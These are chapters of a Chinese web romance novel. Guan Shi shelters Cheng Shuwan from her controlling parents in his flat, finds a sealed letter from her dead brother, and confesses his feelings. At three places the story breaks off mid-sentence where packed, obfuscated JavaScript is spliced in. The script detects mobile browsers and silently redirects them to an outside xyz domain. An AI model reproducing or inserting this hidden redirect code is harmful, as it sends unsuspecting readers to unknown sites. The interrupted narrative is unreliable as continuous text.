浑身的血液沸腾得快把关时蒸发到天上去了,他差点把方向盘捏碎才强行让目光从程舒晚脸上掀下来,把急速升温的脸埋在自己掌心。 “害羞了?”程舒晚还在用余震挑战他的意志。 关时:“……闭嘴。” 他的反应让程舒晚浑身舒爽,她点到为止地收敛自己的坏心思,重新拉下安全带系上,悄悄舔了下嘴唇。 温温的,软软的,出乎意料,有一抹冰丝丝的甜。 她想起来关时自戒烟之后,糖就代替了烟的作用,他口袋里总有盒压片的薄荷糖。 可口的男人啊。 脑子从神游的胡思乱想回归时,程舒晚猛然发现安全带的插销对了五次都还没对进卡扣,她顿了顿,借由窗外的路灯,发现自己的手在微微颤抖着。 脸也烫得能煎蛋。 坏了。 伤敌一千自损八百。 毕竟强吻这种事她也是第一次干。 意识到紧张和羞耻感在身体里发酵,捏着安全带卡扣的手不受控制地发凉起来,金属器件随着颤抖的手碰撞出声,让程舒晚越发尴尬和慌乱。 死手快动啊。 在她第六次尝试对上安全带卡扣时,一双骨节分明的大手伸了过来,带着燥热的暖意扶住她的手腕,把安全带的插销慢而稳地往下推。 咔哒一声。 系上了。 程舒晚忍住作威作福后绊了个跤还被对方扶起来的尴尬,强行板住脸,给自己找补:“太黑,看不见。” 关时把空调的风速调高了一档,小声阴阳怪气:“倒是能精准找到我的嘴在哪。” 程舒晚咳嗽一声,“长得好看是会被人惦记的,我没事不会惦记安全带卡扣的嘴在哪,对不上很合理。” 关时:“……” 可以。 他很服气。 “我说你,”他开口,“能不能……” 正在充电的手机很不看气氛地震动起来,程舒晚垂眼,来电显示上非常扎眼的“妈”字。 关时没说完的话也戛然而止。 “等下。”程舒晚木着脸掐掉了通话,把这个号码连带着程国鑫、小姨,统统一起拉黑,同时点开谭婧的头像,简单告诉她今天晚上的事,让她把蒋慧玲他们都删掉,省得遭到骚扰。 “好了。”她松口气重新放下手机。 这一通操作下来,前面的车流也终于动了,关时便不多言,先把车开过路口,往右变道,最后停在路边。 他把手搭在方向盘上,眼皮半拢着,似乎在思考。 “我在林渡有一套房,”关时说,“你想不想,搬过去?” “……啊?”程舒晚问。 林渡街区距离大荷不到五公里,是近几年新开发的片区,很多投资者会在那边买房。虽然程舒晚猜到关时他们家绝不止红枫小区一套老房子,但有就有,问她干什么? 关时的目光落在程舒晚的手机上。 程舒晚反应过来,“你担心我被家里人上门骚扰?” “他们不会善罢甘休吧。”关时说,“掀桌,不是结束。” 程舒晚微微扬起头,“嗯……” 说回家里事,她又有些沉默。 蒋慧玲和程国鑫在他们兄妹俩身上的投入的确不少,挨过的打骂和窒息般的控制是真,但受到的关怀和支撑也不假。 至少,她和程舒恒都成为了重点大学的高材生,比寻常人拥有了更高的起点,更广阔的选择。 兄长去世后那半年,她饱受噩梦和压力的折磨,最终选择辞职,暂时回到自从四年前造谣事件之后就不怎么见的父母身边,侥幸地想,万一呢。 不论受到的伤害有多么深刻,程舒晚在内心深处大抵真的渴望父母能够成为她的港湾,她才会一次又一次原谅,忍让,躲避。 但换来的是变本加厉的控制,践踏,撒泼,威胁。 逃避没有任何卵用。 她也终于认清了自己的奢望不可能由他们实现。 她的港湾,不在那里。 “舒晚?”关时轻声把她的魂唤回来。 程舒晚目光落在关时脸上,片刻沉寂之后,点了点头,“好。” 关时弯了弯眼角。 他重新放手刹,把车开回马路,语气轻松起来,“饿吗?” 程舒晚就吃了几口菜,“有点。” “我妈下厨,”关时说,“回家吃饭?” 程舒晚点点头,“吃。” 关时:“我问过菜单了,有红烧鱼和芥蓝菜,时间还早,等会去林记买份酥肉。” “不够吃吗?”程舒晚问。 “玥玥嚷嚷要回家复习期末考……都是借口,反正她今晚也在家吃饭,她的食量你知道的,”关时叹息,“猪猪转世。” 程舒晚低垂脑袋,没忍住脸上的笑意。 汽车划过夜色回到大荷,关时顺路去小区不远的林记熟食店买了份酥肉,还有程舒晚爱吃的拔丝地瓜。出电梯回到家门口的时候,他回头来,把林记的袋子递给程舒晚,“拿着。” 程舒晚接过袋子,瞅着他摸出钥匙来开门。 走进玄关,空调的冷气驱散了夏日的热浪,暖黄的灯光和令人垂涎的菜香热情地迎上来。姚婉婷在桌边盛汤,听见开门的动机扭头望来,“哟,还知道回家吃饭呢小子……哦,程囡来啦,吃过没?来来来,天这么热,喝点苦瓜黄豆汤,败火的。诶哟,怎么还买东西了,这么客气,臭小子你怎么让人家姑娘提!” “阿姨好,打扰了。”程舒晚明悟过来关时进门前把袋子塞自己手上的含义,刚想替他辩解,关时已经懒散笑着接话:“玥玥呢?买了她喜欢的酥肉。” 话音刚落,关星玥唰地从房间门口刷新出来,张开双臂扑向程舒晚,抱了个瓷实:“程姐姐!救命!我被英语单杀了!快救我!” 关时很浅淡地啧了声,“兔崽子。” “没事的哥,我也爱你。”关星玥说,目光下移,“……哦,酥肉在程姐姐手里,那我还是爱程姐姐。” 关时:“……” 程舒晚笑着,把手里的塑料袋交回给关时手里,“来,给你爱。” “你还跟着……”关时提着酥肉失笑,见关星玥拉着程舒晚不撒手,“去吧,救完她就洗手吃饭。” 程舒晚点点头,回头朝姚婉婷笑了笑,被关星玥拉进房间去。 姚婉婷多拿了一副碗筷放桌上,把汤勺递给关时,“程囡今晚不是得直播吗?” “挺复杂的。”关时顺手继承了盛汤的工作,舀了一大勺肉排骨给新的碗,“溪韵那边这周做保洁了?” “昨天刚打扫。”姚婉婷说,“你要住?” 关时看了房间里程舒晚的背影一眼。 姚婉婷顿了顿,很快意识到什么,“程囡要住?怎么了?她家里人今天闹她了?” “嗯。” 姚婉婷低骂一句,“这对公婆要闹哪样?他们干啥了?” “他们骗舒晚去相亲。”关时磨了磨后槽牙,很不屑地“啧”了声,“那男的长得像猪。” 姚婉婷:“……” 她好像猜到儿子在这之中扮演了什么角色,无语地拍了下他的后脑勺。 “你是不是想好了?”她问。 “嗯。”关时点头。 姚婉婷扬起脑袋,如释重负地松了口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364931|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那你李姨邱姨林叔元奶奶介绍的那些女孩,我就都给你推拒了哈。”她说。 关时:“……这么多吗?” “你妈我作为婆家有多抢手你不知道?”姚婉婷骄傲地抬抬下巴,“看你那些好的,都随我。” 关时忍着笑恭维:“是,是是是。” “吃完饭就带人家收拾一下过去吧。”姚婉婷说,脸色也渐渐沉下来,“那么懂事的孩子都养不好,别给他们养了,咱家来养。” 关时把今晚就搬去林渡的事提给程舒晚,她明白他们的考量,于是饭后立刻上楼去收拾行李。关时也跟着上802去,没有进卧室,只站在客厅捏着手机等她收拾。 他站在窗边往楼下看,没过一会儿,手机屏幕亮了。 “老板,俩人。要拿走吗?” 关时垂眸看着对面发来的图片和消息,眼底逐渐流转出漆黑的冷漠。 “你们盯着。”他回,“等我消息。” “得。” 程舒晚推着行李箱从卧室出来,见关时面色有些严肃地看着手机,“工作上的事?” 关时抬起脸,暖阳的笑意在脸上绽放开,“没什么,今天燕姨有账目要给我来着,我忘记看了。” 程舒晚了然,也没多问,指了指书房,“等我十分钟,再收点书。” “好。”关时跟着她进书房,靠在门边,“你工作室那边,除了电脑之外还有什么重要的东西要带吗?” 程舒晚想了想,“电脑,鼠标键盘,摄像头,其他没有了。” 关时低头发消息,“我让裴哥拆一下,一起带过去。” 程舒晚:“好,麻烦了。” 她不知道这次搬家会住多久,只尽量带自己生活工作学习的必需品,除了衣物日用之外还拉了半箱子书,即便如此也不过才两个行李箱。 关时看了眼:“这就够了?” “我哥留下的书够我看很久。”程舒晚说,“嗯……还要拜托你件事情,帮我把802的锁换掉。” “所见略同。”关时说,“等换完我把钥匙给你。” 程舒晚点点头,“你自己也留一把。换锁的钱……” “这点钱就不用分什么你我了吧。”关时浅浅地笑了,“你不在这边的日子,我会替你照看它。” 下楼开车时,关时似是张望四周须臾才开后备箱帮她搬箱子,程舒晚不由得也看了看,在林荫小道的尽头瞥见几道人影,为首一人发现她的目光还隐秘地挥了挥手,颇为热情地打了个招呼。 程舒晚侧目瞄关时,她猜测那几道人影是他的人。 至于为什么这些人会出现在这里……她很快就回忆起之前几次关时猛然回头的异常。 程舒晚心里隐隐有了答案,不由得一沉。 关时阖上后备箱,“上车。” “嗯。”程舒晚点头。 顺路去网咖把她直播用的设备一起带走,汽车很快离开了大荷街区。 林渡街区不远,与大荷一条马路之隔,却脱离了老城的风尘与年岁,高层林立,无比年轻和活力。车程不过十五分钟,溪韵庭园住宅区出现在眼前。 “这儿?”程舒晚愣了愣。 关时:“对,前年买的,去年才装修完。” “啊。”程舒晚只能表达赞叹。 与程舒晚和兄长给父母买的天合府中高档小区不同,溪韵庭园景观优美,装修典雅,一梯一户,是真正的高档住宅区。 小关老板还是太有实力了。 关时把机箱搬进电梯,刷了张卡,26楼的按钮自行亮了起来。他瞥见程舒晚略显古怪的表情,咳嗽了声,有点尴尬地解释:“本来也是当投资买的,但是买完觉得很喜欢,就简单装修了,准备以后当……” 他卡壳三秒,才继续说:“……当婚房。” 程舒晚:“……” 她垂在身侧的手突然就不知道该怎么摆了。 这倒是可以不用让她知道吧! 59. 陪我 “除了这里,我还有一套公寓在隔壁楼,不过没装修。”关时扔下个炸弹之后又轻描淡写地把话题转走了,“那套是给玥玥的,不管她以后想去哪,这儿都能给她一点底气。我妈不爱住高楼,就没给她买,她自己也有别的房产……” 程舒晚头脑混乱地应了声。 关时有点紧张地攥了攥手,“没了,我名下就这两套房。” “你在交底吗?”片刻后,程舒晚问。 “……对。”关时稍作停顿,“我想,这些都让你知道,你可能会安心些。” 程舒晚想了想,“我只有二十三万的存款和802一套房,嗯……还有两年的房贷。” 关时张嘴,“你不用和我说。” “你交底我也交底。”程舒晚本来想不可一世地甩出一句“你少管”,但心口却被什么堵着,最后只闷闷地闭了嘴。 关时笑了,“嗯,我知道了。” 出电梯之后就是入户区域,护栏外的风景很好,只是除了鞋柜之外没有其他摆设,有些可惜,这里适合做点绿植景观……或许因为平时没人住吧,做了景观没人打理,那也挺浪费。 关时把电脑机箱搬出来,用指纹打开智能门锁,“我偶尔应酬太晚会来这边过夜,平时没人住,昨天刚打扫过,你随意就行。” 打扰了……程舒晚在入户区换了鞋,拎着行李箱走进门。 房子里的灯光,空调,新风都随着门锁解锁联动自动打开,屋内陈设随之亮相。客厅很宽敞,装修简洁明亮,奶油色的主基调点缀以轻柔的原木家具,打扫得很干净。 她第一眼就很喜欢。 关时拉开窗帘,“这边大多是投资房,入住不多,隔音也很好,很安静。楼下有日用商店和家常饭店,奶茶快餐也有,挺方便的。” “嗯。”程舒晚应。 “这边是主卧和次卧,主卧带洗手间和更衣室,牙膏沐浴露什么的都有,柜子里有全新的毛巾,都可以用。” “好。” “热水器,洗衣机,烘干机都有全屋智能,一会儿我教你怎么用。” “嗯。” “燃气和水闸在阳台,这边……” 他絮絮叨叨地介绍,程舒晚就一句一句地答应。只是听着听着她逐渐沉默,也不知道想到什么,目光慢慢垂到地上。 关时意识到程舒晚的走神,顿了顿,察觉到她的情绪有些低落,“怎么了?” 程舒晚沉默着,慢慢捻住关时的衣角。 “上一次有人这么关照我,”她低声说,“是我工作第一年从海宜回来,不想在家待着,就去802借住,我哥跟我介绍,也这么事无巨细。” 关时无言片刻,轻轻握住她的手。 “你想他了?”他问。 程舒晚略显茫然,“不知道,我只有点……难过。” 她的手比平时凉一些,似乎是经历了今天一系列疯狂的刺激之后终于有了点喘息的平静,身体才终于后知后觉反应过来,被迟来的恐惧和悲哀一点点侵占。 关时有些心疼地摩挲她的手。 “关时。”程舒晚几乎是自语地喃喃,“这些天,是有人跟踪我们吧。” 她这话提得相当突然,关时脸上温柔的笑意渐渐往下坠,随后被他险险拎住,“怎么了,发现什么了?” 程舒晚:“跟踪的是宁松明的人。” 她很笃定。 不然解释不了那家伙为什么出现在木吉网咖,解释不了在车上跟她提的“证据”从何而来。 他干得出来这些事情。 “你的人刚才是不是在处理跟踪者?”她抬头问。 她脸色平静得有些空洞,关时很难透过她的表情看到她在想什么,只能继续放轻声音柔和安慰:“舒晚,放心,没人知道你住在这,他们不会再威胁到你的安全了。” 程舒晚的手并没有松开,反而越攥越紧。 “我哥不在了,他们只剩下我,会想方设法逼迫我回去。”她说,“你本来可以不用处理这些的,对不起,关时,我没有我哥那么决绝,还连累你……” “草。”关时几乎是没控制住地爆了句粗口,捧着她的脸制止她的话,“不许这么说。” 程舒晚被迫昂着头,睁大了眼眸望着关时,眼中爬着细小的血丝,宛如一碰就碎的裂缝。 “你没有连累我。”关时凝望她脆弱的目光,“是我要谢谢你,我非常,非常,非常高兴,你能答应我的帮助。” 程舒晚鼻尖渐渐泛红,干涸的眼睛洇出水光,眼泪从眼眶里一颗一颗往外滚。 “我不要……”她声音颤抖着,“我不要你被这些事卷进去。我是不想让你担心,但是……我不要……” 她不知道自己为什么这么难过,她明明不想哭的。 “你别小看我。”关时温柔地笑了,用手指轻轻抹掉她的眼泪,“我可比你父母表弟难搞多了。” 他这话倒是客观事实,可惜并没有安慰到程舒晚。 想到他曾经与地痞流氓争斗,被朋友背叛的遭遇,她的眼泪掉得更凶了。 关时:“……” 他手脚笨拙地给她擦半天脸,最后没招了,张开手臂把她按进怀里,“来,抱抱。” 他没抱住,程舒晚挣开了他的手,也没给他思考的机会,抓住他的衣领往下一拽——关时今天是去谈生意的,穿的是黑色的衬衫。 比T恤好拽。 这个念头只在他脑海中一闪而过,下唇传来尖锐的疼痛,嘴唇被程舒晚咬了一口。 这妮子刻薄起来牙尖嘴利,没想到是物理意义上的,关时猝不及防地“嘶”了声,随着被拽的力度往她的方向失去平衡,好在眼疾手快,一手撑住她身后的吧台,一手托着她的腰避免撞着桌角,而程舒晚却不知收敛,稳住平衡之后马上踮着脚再次吻上来。 这个吻毫无章法,甚至有些粗鲁,带着委屈的发泄和再也克制不住的占有,把关时顶得往后仰,又被她的拽着衣领的手拉回来。 神游天外的理智终于飞回脑子,关时下意识就要拉开程舒晚,但在她换气的档口,捕捉到一丝颤抖的哭腔。 他拉开的动作一顿,片刻后,撑在台面上的手收拢轻轻按在程舒晚脑后,张开牙关,舌尖带着安抚的意味,温柔地回应了她的占有。 这个他只想安静守卫的姑娘,从来没向他索求过什么。 她总在忍耐,总在隐瞒,也一度把他逼得几乎失控,越过了自己给自己划下的界限。 但她只是从来没被好好疼爱过,连撒娇和求助都很笨拙。 就让她。 好好闹一闹脾气吧。 不知过了多久,程舒晚抓着衣领的手逐渐松开,垂下眼眸,扑进关时怀里。 关时抱着她,“累了吗?” 程舒晚点点头,脑袋在他胸口一蹭一蹭的。 “你去洗漱吧,早点休息。”他说,“我帮你把书放到书房。” “嗯。”程舒晚声音低哑地应。 她从行李箱拿了套睡衣,接过关时递来的新毛巾,看着他,张了张嘴。 “如果你想我今晚在这儿的话,我就留下来。”关时笑了笑,“如果不想,我就回去。” 程舒晚抿唇,“……陪我。” “好。”关时点头。 待到程舒晚进了浴室,里面传来水声,关时还在门外听了一会儿,确保她情绪还好才暂且放心地离开。 他从衣柜拿出新的床罩被子铺好主卧和次卧的床,转头去搬程舒晚的书。 她带了十来本书,大部分是编程和历史书籍,夹杂了几本散文小说。书房还是空的,关时就把这些书放到架子上去。 他随手翻了翻,发现大部分历史书是程舒恒的,写满了他的笔记。 编程书他也翻了几本,文科出身的老板对那些天外来的语言只瞄了几眼就放弃理解,程舒晚倒是做了不少笔记。 兄妹俩在读书这方面丝毫不愧对重本高材生的称呼。 关时把编程书一本本放到架子上,动作顿了顿——这本书的手感不太对,中间似乎夹了东西。 他打横瞄了眼书缝,的确中间一页有缝隙。 他翻开来。 映入眼帘的是个信封,信封上有几个手写的字—— “给晚晚” 关时盯着这三个字,眼睛慢慢睁大。 他随手拿了本历史书翻开,对比了好几遍,确认这是程舒恒的字迹。 信封是封口的,没有被拆过,从这个分量来看,里面是张对折的纸张,应该是程舒恒写给舒晚的信。 关时拿着这信封,脑袋嗡嗡的。 信? 为什么夹在书里? 舒晚知道这封信的存在吗? 她看过吗? 她带它来是想做什么?还是单纯不知道? 我是不是不该发现它? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364932|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关时怔然许久,直到浴室的水声停了,他动了动眼睛,把信封夹回原处,阖上书,放回架子上。 程舒晚今天已经够累了,再来点什么刺激怕是得崩。 这件事之后再同她说吧,现在先当做没看到。 浴室的门拉开,程舒晚顶着一头湿漉漉的长发出来,抬眼张望寻找关时的位置。 “舒晚。”关时在吧台烧开水,侧目回应她的探寻,嘴角弯起柔和的弧度,“吹风筒在洗手台柜子下面……” 话没说完,程舒晚已经走到他跟前,伸手抱住他,像树懒一样挂在他身上,好闻的洗发水的味道幽幽贴上,把他团团围困。 关时这才发现这妮子原来格外黏人。 “我帮你吹?”他问。 “嗯。”程舒晚说。 关时把程树懒运送到客厅沙发安置,转身拿电吹风筒回来给她吹头发。 程舒晚团在沙发上,温度正好的风和着关时指尖穿过发丝,他手法挺妥帖,一层一层的,不一会儿居然就干得差不多了。 他应该不少给玥玥吹头发。 程舒晚突然想到,其实在八岁以前,蒋慧玲也是会给她吹头发的。 这个念头一入脑海,立刻就被她赶了出去。 “好了。”关时关掉吹风筒,把她的头发理了理,“想休息了吗?” 程舒晚摇了摇头。 “今晚有比赛。”她说,“我想看比赛,明天写新栏目的稿子。” 关时看着她。 “我说过的,”他轻声说,“要学会心疼自己。” 程舒晚慢慢把眉头蹙起来。 “我现在睡不着嘛。”她鼓起腮帮子,颇为委屈,“你还不让我看。” 关时:“……” 已经从黏人急速上升到蹬鼻子上脸了。 “好好好,看。”他笑叹了口气,在桌上找到遥控器打开投影,找到游戏竞技直播,点开今天晚上的CPL比赛。 今晚对决的是东贺战队和DF战队,已经打了个一比一,如火如荼的第三场看来也过半了,东贺暂时占优。关时站着看了会儿,目光瞥向程舒晚,她目不转睛地盯着投影,已经投入了“工作”状态。 关时后知后觉,与游戏有关的一切,对她来说都是放松和休息的渠道。 想到这,他暂时放宽心了些,把烧好的开水倒进保温壶,打开冰箱清点存货,“喝点什么吗?有橙汁和可乐。” “嗯……橙汁。” 关时拿了瓶橙汁递给程舒晚,说:“你先看,我去洗澡。” “嗯。”程舒晚点头。 关时偶尔会在这边过夜,主卧的衣柜里有不少他的衣服,他拽了套短袖居家服,很快洗完澡回客厅,东贺赢下了第三局比赛,两位解说正在复盘。 程舒晚已经把橙汁喝完了,怀里抱着个抱枕,半垂着眼听解说闲扯,耳畔传来冰箱开门的声音。她侧过头,关时从里面拿了一罐啤酒,把冰箱门关上了。 “你不是说只有橙汁和可乐吗?”她问。 关时看了看手里的啤酒,“我说的是有橙汁和可乐。” 没说没有啤酒。 “……”程舒晚收回目光。 关时咳嗽一声,“喝吗?” “喝不下。”程舒晚说。 关时呲地开了罐,“就算你要也不给,大晚上别喝啤酒。” 程舒晚:“……” 好双标一狗。 关时绕过茶几在程舒晚身边坐下,沙发很软,程舒晚重心随着他坐下都偏过去几分,但也没调整回来,顺势就靠在关时肩上。 关时没动,喝了口啤酒。 程舒晚得寸进尺地把胳膊塞进他手臂和躯干之间,挽住他的手。 但紧接着她指尖停顿,摸到了关时手臂上那道长刀疤的增生。 从腕骨延伸到手肘,坑坑洼洼,有深有浅,她慢慢摩挲着,一点一点,感受这道伤口曾经的痕迹。 关时张开五指,把她罪恶多端的爪子拢进掌心,“别摸了。” 程舒晚微抬起眼看他。 她问过他,痛吗? 他说,太久了,早忘了。 “怎么可能忘了。”她说,“这么长,这么深的伤口,你怎么可能忘了有多痛。” 关时默然片刻,把啤酒罐放到桌上。 “联伙郭楷伤害玥玥的人,我当时去找他了。”他说,“打了一架,非常凶。” 60. 家人 程舒晚静静地盯着他。 “太生气了,脑子里只记得往他脸上招呼,真没注意被他砍了一刀。”关时挑拣着听起来不那么凶残的词语,尽量把状况说得宝宝巴士一点,“……所以确实没记得多疼。” “肾上腺素下去了不就记得了。”程舒晚说。 “是啊。”关时靠在沙发靠背上,没否认,“在医院疼哭了。” “……”程舒晚瞪他。 关时:“……你上次问的是受伤当时。” “你少给我玩文字游戏。”程舒晚说,“你也不坦诚。” 关时笑了,“那会儿不是觉得丢人嘛。” 程舒晚:“现在不觉得丢人了?” “嗯。”关时说,“我都搁你眼前哭了,还有什么不好说的。” 程舒晚被他这句话一噎,觉得鼻尖隐隐又有发酸的趋势。 草,今晚是怎么了。 想把泪腺割掉。 她赶紧吸了吸鼻子,又压不住那阵突如其来的情绪,于是拿起关时的啤酒喝了一口。 关时:“……啧。” 程舒晚才没管他的抗议,喝完后蜷回沙发,抱着他的胳膊,把脸抵在他肩上。 “你以后,有事得跟我说。”半晌后,她低声道,“我也不要你什么都自己扛着。我……也会担心。” “嗯。”关时抚了抚她的手背,“我答应你。” 两人谁也没动,就这样窝在沙发里,投影继续播放东贺与DF的第四场比赛。 “关时。”程舒晚轻声开口,“你明晚还陪我吗?” 关时:“你明晚要直播吗?” “要的。明天周五,记得二更天得上线。” “那我明天带笔记本过来。”他说。 “嗯。”程舒晚应了声,片刻后又轻声喊他,“关时。” “嗯?” “没事,叫你一声。” 关时笑了,“嗯,我在这。” “关时。” “嗯。” 程舒晚似乎是满意了,抱着他继续安静看比赛。关时突然想起来还没跟家里报备,于是摸起手机给姚婉婷发消息:“不回,不用留门。” 对面几乎是秒回了个震惊的表情包——老年人太时髦就是不好。 姚婉婷:“你要干啥?” “你要干啥?” “你他娘的要干啥???” “……”关时回了个省略号,“你不是不管我们年轻人的事儿吗?” 姚婉婷:“你试一个,你试了我让你后悔做这个网咖的法人!” 关时差点气笑,“亲爱的大股东,您是不是忘记这房子有四个房间啊?” 手机那边几秒没动静。 “哦。”姚婉婷说,“我没忘,只是担心二十几年单身狗的定力。” 关时:“……行行好,少说几句吧。” “程囡情绪不太好吧?”姚婉婷说,“看着她点儿。” “我知道。”关时放下手机。 他正想问程舒晚要不要点个夜宵,耳朵却捕捉到绵长的呼吸声。他偏头,那执意要看比赛的姑娘双腿蜷在沙发上,已经枕着他的肩膀睡着了。 明明就很累,还嘴硬。 关时无奈地笑了,把投影声音调小,从她怀里抽出自己的胳膊,一手托着她肩背,一手穿过她腿弯,打横抱了起来。 程舒晚刚入眠没多久,被这动静一闹,迷迷糊糊地将眼睛睁开条缝,扫了关时一眼。 “去房间睡。”关时说。 程舒晚重新闭上眼,很自然地把胳膊圈在他脖颈,找了个舒服的位置放着,就继续睡了。 这份毫无道理的信任让关时意马心猿了好一会儿,他盯着程舒晚近在咫尺的睡颜,刚吹洗过的蓬松发丝落在光洁的额头,往下是略显锋利的细眉和紧闭着的长睫,高挺精致的鼻梁……最后他的目光固定在她形状漂亮的嘴唇上。 他还记得她唇瓣柔软的触感。 她急促的呼吸扫过脸颊时泛起的微痒。 最开始被她标记般咬了一口的刺痛。 一个念头从脑子里划过。 他也想咬她。 不知道她同不同意。 她下嘴的时候也没征求他的意见。 不行,她现在睡着呢。 就一口。 不行,太禽兽了。 左右脑互搏了有大半分钟,理智终于艰难战胜,关时用脱胎换骨的意志力把自己的目光从程舒晚脸上撕了下来,目不斜视地抱她进主卧放在床上,调好空调的温度,给她盖上被子。 正准备关灯退出房间,程舒晚翻了个身。她曲着腿侧睡,跟在沙发上一样,把自己团成个刺猬。 偌大的双人床上,只有中间一个小鼓包。 关时站在门口拧着门把手沉默半晌,缓步走过来慢慢在床沿坐下,盖住她的手。 程舒晚指尖微动,勾住他的手指。 她的手细长白皙,打游戏时灵巧跃动,被直播间的观众们夸赞过许多遍。 关时的眼眸渐渐暗下来,俯下身。 在她勾着自己的尾指关节上报复性地咬了一下。 他咬得很轻,程舒晚的眼睫似乎动了动,但没睁开,依然沉眠。 关时轻轻摸了摸她的脸颊。 “晚安。” 程舒晚这一觉睡得格外沉。 也许是入睡得早,自然醒的时候闹钟还没响,她朦朦胧胧往床头柜的方向摸了一下只摸到枕头,这才睁开眼,想起来自己在关时的房子里。 应该是关时抱她回来的……她掀开被子下床,拿起床头柜的手机打开,除了粉丝群的吹水,甲方的反馈和谭婧分享的八卦之外就没有其他重要的消息了,清静得有些意外。 她昨晚还担心会被父母电话骚扰或者警察传唤,看来蒋慧玲好面子,没报警。 关时呢? 程舒晚关空调开房门一路寻到餐厅,嗅到包子和油条暖融融的味道,关时站在吧台边,一手拿着包子啃,一手在捣鼓一台看上去价格不菲的咖啡机。 他咬着半个包子转过脸来,被窗外天光映照的眼眸透亮,目光碰到她时很快流露出笑意。 好帅。 “起了?”他说,随后指着咖啡机告状,“它欺负我,我不会用。” 程舒晚:“……” 整段垮掉。 她过去看了眼,这是台半自动咖啡机,不算太麻烦,稍微操作了下咖啡机就嗡嗡响起来,开始工作。 “我来弄就好。”程舒晚说,“拿铁?要拉花吗?” 她练了很久的。 “还得是专业的。”关时比了个拇指,“要。” 怎么狗里狗气的。程舒晚想了想,“早点在楼下买的吗?” “嗯,等会儿带你出去走走。”关时说,“有几家店还不错,这几天带你去吃。” “好。”程舒晚说,“我只是想问,早点有豆浆的话买豆浆不就好了,为什么要回来做咖啡,你还不会用机子。” 关时:“……” 他扭头,有些尴尬地咳嗽一声,“你,好像更喜欢喝咖啡。” 啊。 程舒晚默了默,“你喜欢喝吗?” 关时:“……我可以喜欢。” “那我给你加多点奶。”程舒晚说着,颇为不解,“不是,不喝咖啡为什么买它啊。” 关时:“好看啊。” “……”程舒晚看了眼复古造型的咖啡机,无语中带点心动,拿了两个杯子来,“确实。” 颜狗。 可惜她也是。 萃取,打泡,拉花,程舒晚有条不紊,关时则靠在吧台边上,姿态有点懒散地撑着手,满眼笑意地看着她。 “舒晚。”关时开口,毫不停顿说道,“你能不能给我个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364933|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会。” 程舒晚刚放下拉花缸,脑子还没转过弯,下意识问:“什么?” 她看向关时,他姿势随意,笑意还挂在脸上,但眼神却相当认真。 程舒晚突然反应过来他说的是什么了。 心脏猛然跳空,悬了片刻,重重地,剧烈地落回胸腔。 然后再也控制不住地躁动起来。 关时看着她呆滞的表情,缓慢说道:“我想了很久,昨天我就应该直接拉住你,让宁松明滚,我不知道你会不会生气才看你脸色,结果你说‘老板我回家吃个饭’……我那瞬间,甚至开始嫉妒宁松明是你表弟。” 他笑了下,有点自嘲,“我一直都希望,我能干干净净的时候再对你说这句话,但昨晚帮你赶走那个不识趣的相亲对象,抓到那两个跟踪者的把柄才在庆幸—— “还好我手段不干净。” 程舒晚听见自己心跳连着鼓膜一起吵闹,闹得有点听不清关时在说什么了,只能睁大眼睛一眨不眨,不想错过他说的每一个字。 关时微微俯下身,那双比寻常人清浅的眸子望穿她的眼,一个字一个字,穿过心跳的喧闹,清晰传入她的脑海。 “舒晚,我有点贪心,不想只做个老板,邻居,搭子了,我想离你更近些,近到十分钟内就能到达你身边。” “你能不能给我个机会,让我做你的家人?” 无言的空气中,咖啡醇香弥漫,把寂静染出柔和的温度。 程舒晚望着关时,很长时间没有说话。 久到关时忍不住摩挲起手指,又不好在这时候退缩目光,于是开始数程舒晚的眼睫毛。 “你——”程舒晚开口了。 关时重新凝聚起注意力,扬扬眉头,“嗯?” “你是不是没睡觉。”她说,“黑眼圈很明显。” 关时盯着她。 “不是,”他震惊道,“我那么深情那么长的告白,你第一句感想是这个?” 程舒晚是不是没有浪漫细菌啊! 他没震惊完,程舒晚看傻子一样叹了口气,随后伸出爪子在他胸口戳了几下。 “我在很严厉地批评我对象晚上熬夜通宵不睡觉。”她挑衅地扬起下巴说,“你有意见?” 关时愣了片刻,混乱的思绪在脑子里打了个中国结,啥都理不清了,只有中间响响亮亮地一个词占据了脑海。 我对象。 我对象! “你……”他花了几秒钟把中国结裱起来挂起来,放松又释然地笑了,“好啊,又逗我是吧。” “我对象哭着让我不能逗别人,”程舒晚说,“没办法,只能辛苦他承受一切了。” 关时捏了捏她的脸,“没事,你对象很乐意。” 程舒晚想拍开他,手已经举到半空了又被她硬生生停住,最后捏着他的手掌,把自己的手指插进他的指缝。 “我以为,”她说,“你不会有这个环节。” 